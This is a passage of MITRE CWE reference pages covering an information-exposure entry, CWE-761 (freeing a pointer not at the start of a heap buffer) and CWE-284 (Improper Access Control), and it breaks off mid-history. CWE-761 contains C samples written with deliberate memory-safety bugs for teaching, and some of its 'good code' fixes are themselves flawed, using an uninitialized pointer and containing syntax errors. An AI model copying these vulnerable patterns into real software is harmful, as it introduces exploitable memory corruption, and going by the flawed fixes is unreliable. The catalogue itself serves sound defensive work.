CVE-2004-1590	Script calls phpinfo()
CVE-2003-1038	Product lists DLLs and full pathnames.
CVE-2005-1205	Telnet protocol allows servers to obtain sensitive environment information from clients.
CVE-2005-0488	Telnet protocol allows servers to obtain sensitive environment information from clients.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	963	SFP Secondary Cluster: Exposed Data
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1417	Comprehensive Categorization: Sensitive Information Exposure

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Theoretical

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

Maintenance

This entry is being considered for deprecation. It overlaps many other entries related to information exposures. It might not be essential to preserve this entry, since other key stakeholder policies are covered elsewhere, e.g. personal privacy leaks (CWE-359) and system-level exposures that are important to system administrators (CWE-497).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Intended information leak

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Name
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Other_Notes, Relationship_Notes, Theoretical_Notes
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Demonstrative_Examples, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Name, Other_Notes, Relationship_Notes, Relationships, Time_of_Introduction
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2011-03-29	Intended Information Leak

2020-02-24	Intentional Information Exposure

Weakness ID: 761

View customized information:

Description

The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

Extended Description

This can cause the product to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	763	Release of Invalid Pointer or Reference

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Modes Of Introduction

Phase	Note
Implementation

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands

Demonstrative Examples

Example 1

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

(bad code)

Example Language: C

#define SUCCESS (1)
#define FAILURE (0)

int contains_char(char c){

char *str;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( *str != NULL){

if( *str == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;

}
/* didn't match yet, increment pointer and try next char */

str = str + 1;

}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;

}

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

(good code)

Example Language: C

#define SUCCESS (1)
#define FAILURE (0)

int cointains_char(char c){

char *str;
int i = 0;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( i < strlen(str) ){

if( str[i] == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;

}
/* didn't match yet, increment pointer and try next char */

i = i + 1;

}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;

}

Example 2

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

(bad code)

Example Language: C

char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)

if (**ap != '\0')

if (++ap >= &argv[10])

break;

/.../
free(ap[4]);

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 3

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

(bad code)

Example Language: C

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";

get_user_input( input );

/* The following loop will parse and process each token in the input string */

tok = strtok( input, sep);
while( NULL != tok ){

if( isMalformed( tok ) ){

/* ignore and discard bad data */
free( tok );

}
else{

add_to_command_queue( tok );

}
tok = strtok( NULL, sep));

}

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

(good code)

Example Language: C

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";

get_user_input( input );

/* The following loop will parse and process each token in the input string */

tok = strtok( input, sep);
while( NULL != tok ){

if( !isMalformed( command ) ){

/* copy and enqueue good data */
command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
strcpy( command, tok );
add_to_command_queue( command );

}
tok = strtok( NULL, sep));

}

free( input )

Observed Examples

Reference	Description
CVE-2019-11930	function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory."

Potential Mitigations

Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	969	SFP Secondary Cluster: Faulty Memory Release
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657] "boost C++ Library Smart Pointers". <https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm>. URL validated: 2023-04-07.

[REF-480] "Valgrind". <http://valgrind.org/>.

Content History

Submissions
Submission Date	Submitter	Organization
2009-05-08 (CWE 1.4, 2009-05-27)	CWE Content Team	MITRE
2009-05-08 (CWE 1.4, 2009-05-27)
Modifications
Modification Date	Modifier	Organization
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 284

Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.

View customized information:

Description

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as:

Authentication (proving the identity of an actor)
Authorization (ensuring that a given actor can access a resource), and
Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the product by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

Alternate Terms

Authorization:	The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1000	Research Concepts
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	269	Improper Privilege Management
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	282	Improper Ownership Management
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	285	Improper Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	286	Incorrect User Management
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	346	Origin Validation Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	749	Exposed Dangerous Method or Function
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	923	Improper Restriction of Communication Channel to Intended Endpoints
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1191	On-Chip Debug and Test Interface With Improper Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1220	Insufficient Granularity of Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1224	Improper Restriction of Write-Once Bit Fields
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1231	Improper Prevention of Lock Bit Modification
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1242	Inclusion of Undocumented Features or Chicken Bits
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1252	CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1259	Improper Restriction of Security Token Assignment
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1260	Improper Handling of Overlap Between Protected Memory Ranges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1262	Improper Access Control for Register Interface
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1263	Improper Physical Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1267	Policy Uses Obsolete Encoding
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1268	Policy Privileges are not Assigned Consistently Between Control and Data Agents
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1270	Generation of Incorrect Security Tokens
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1274	Improper Access Control for Volatile Memory Containing Boot Code
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1276	Hardware Child Block Incorrectly Connected to Parent System
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1280	Access Control Check Implemented After Asset is Accessed
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1283	Mutable Attestation or Measurement Reporting Data
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1290	Incorrect Decoding of Security Identifiers
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1292	Incorrect Conversion of Security Identifiers
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1294	Insecure Security Identifier Mechanism
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1296	Incorrect Chaining or Granularity of Debug Components
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1304	Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1311	Improper Translation of Security Attributes by Fabric Bridge
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1312	Missing Protection for Mirrored Regions in On-Chip Fabric Firewall
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1313	Hardware Allows Activation of Test or Debug Logic at Runtime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1315	Improper Setting of Bus Controlling Capability in Fabric End-point
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1316	Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1317	Improper Access Control in Fabric Bridge
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1320	Improper Protection for Outbound Error Messages and Alert Signals
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1323	Improper Management of Sensitive Trace Data
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1334	Unauthorized Error Injection Can Degrade Hardware Redundancy

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	285	Improper Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	288	Authentication Bypass Using an Alternate Path or Channel
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	639	Authorization Bypass Through User-Controlled Key
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	862	Missing Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	863	Incorrect Authorization

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation

Applicable Platforms

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Other	Technical Impact: Varies by Context

Observed Examples

Reference	Description
CVE-2022-24985	A form hosting website only checks the session authentication status for a single form, making it possible to bypass authentication when there are multiple forms
CVE-2022-29238	Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.
CVE-2022-23607	Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
CVE-2021-37415	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
CVE-2020-10263	Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
CVE-2020-13927	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
CVE-2010-4624	Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.

Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Affected Resources

File or Directory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	254	7PK - Security Features
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	944	SFP Secondary Cluster: Access Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1369	ICS Supply Chain: IT/OT Convergence/Expansion
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1372	ICS Supply Chain: OT Counterfeit and Malicious Corruption
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Frequent Misuse, Abstraction

Rationale:

CWE-284 is extremely high-level, a Pillar. Its name, "Improper Access Control," is often misused in low-information vulnerability reports [REF-1287] or by active use of the OWASP Top Ten, such as "A01:2021-Broken Access Control". It is not useful for trend analysis.

Comments:

Consider using descendants of CWE-284 that are more specific to the kind of access control involved, such as those involving authorization (Missing Authorization (CWE-862), Incorrect Authorization (CWE-863), Incorrect Permission Assignment for Critical Resource (CWE-732), etc.); authentication (Missing Authentication (CWE-306) or Weak Authentication (CWE-1390)); Incorrect User Management (CWE-286); Improper Restriction of Communication Channel to Intended Endpoints (CWE-923); etc.

Suggestions:

CWE-ID	Comment
CWE-862	Missing Authorization
CWE-863	Incorrect Authorization
CWE-732	Incorrect Permission Assignment for Critical Resource
CWE-306	Missing Authentication
CWE-1390	Weak Authentication
CWE-923	Improper Restriction of Communication Channel to Intended Endpoints

Notes

Maintenance

This entry needs more work. Possible sub-categories include:

Trusted group includes undesired entities (partially covered by CWE-286)
Group can perform undesired actions
ACL parse error does not fail closed

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Access Control List (ACL) errors
WASC	2	Insufficient Authorization
7 Pernicious Kingdoms		Missing Access Control

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-19	Embedding Scripts within Scripts
CAPEC-441	Malicious Logic Insertion
CAPEC-478	Modification of Windows Service Configuration
CAPEC-479	Malicious Root Certificate
CAPEC-502	Intent Spoof
CAPEC-503	WebView Exposure
CAPEC-536	Data Injected During Configuration
CAPEC-546	Incomplete Data Deletion in a Multi-Tenant Environment
CAPEC-550	Install New Service
CAPEC-551	Modify Existing Service
CAPEC-552	Install Rootkit
CAPEC-556	Replace File Extension Handlers
CAPEC-558	Replace Trusted Executable
CAPEC-562	Modify Shared File
CAPEC-563	Add Malicious File to Shared Webroot
CAPEC-564	Run Software at Logon
CAPEC-578	Disable Security Software

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.

[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2009-03-10	CWE Content Team	MITRE
